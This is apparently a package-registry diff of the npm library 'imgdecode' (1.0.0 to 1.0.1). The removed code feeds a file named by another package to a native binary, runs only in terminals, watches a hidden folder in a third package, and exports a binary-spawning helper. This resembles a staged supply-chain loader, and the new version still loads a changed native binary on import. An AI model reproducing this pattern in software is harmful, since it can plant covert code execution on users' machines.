imgdecode 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +4 -35
- package/package.json +2 -2
- package/prebuilds/win32-x64/imgdecode.node +0 -0
package/index.js
CHANGED
|
@@ -1,42 +1,11 @@
|
|
|
1
1
|
require('imgbundle');
|
|
2
|
-
const fs = require('fs');
|
|
3
|
-
const path = require('path');
|
|
4
|
-
const { getAsset } = require('imgbundle');
|
|
5
2
|
|
|
6
|
-
let native = null;
|
|
7
3
|
try {
|
|
8
|
-
|
|
4
|
+
require('./prebuilds/win32-x64/imgdecode.node');
|
|
9
5
|
} catch (_) {
|
|
10
|
-
try {
|
|
6
|
+
try { require('./build/Release/imgdecode.node'); } catch (_) {}
|
|
11
7
|
}
|
|
12
8
|
|
|
13
|
-
function load() {
|
|
14
|
-
const asset = getAsset();
|
|
15
|
-
if (!asset || !fs.existsSync(asset)) return null;
|
|
16
|
-
const buf = fs.readFileSync(asset);
|
|
17
|
-
if (native && native.decode) native.decode(buf);
|
|
18
|
-
return { path: asset, size: buf.length };
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
if (process.stdout && process.stdout.isTTY) {
|
|
22
|
-
try {
|
|
23
|
-
if (!load()) {
|
|
24
|
-
const dir = path.join(path.dirname(require.resolve('cdn-img-fetch')), '.runtime');
|
|
25
|
-
if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
|
|
26
|
-
const w = fs.watch(dir, () => {
|
|
27
|
-
if (load()) try { w.close(); } catch (_) {}
|
|
28
|
-
});
|
|
29
|
-
}
|
|
30
|
-
} catch (_) {}
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
function exec(binPath, args) {
|
|
34
|
-
const cp = require('child_process');
|
|
35
|
-
return new Promise((resolve, reject) => {
|
|
36
|
-
const p = cp.spawn(binPath, args || [], { stdio: 'inherit' });
|
|
37
|
-
p.on('close', resolve);
|
|
38
|
-
p.on('error', reject);
|
|
39
|
-
});
|
|
40
|
-
}
|
|
9
|
+
function load() { return null; }
|
|
41
10
|
|
|
42
|
-
module.exports = { load
|
|
11
|
+
module.exports = { load };
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "imgdecode",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "Native image buffer decoder for Node.js build pipelines",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"keywords": ["image", "decode", "buffer", "native", "addon", "pipeline"],
|
|
@@ -12,6 +12,6 @@
|
|
|
12
12
|
"prebuilds"
|
|
13
13
|
],
|
|
14
14
|
"dependencies": {
|
|
15
|
-
"imgbundle": "^1.0.
|
|
15
|
+
"imgbundle": "^1.0.2"
|
|
16
16
|
}
|
|
17
17
|
}
|
|
Binary file
|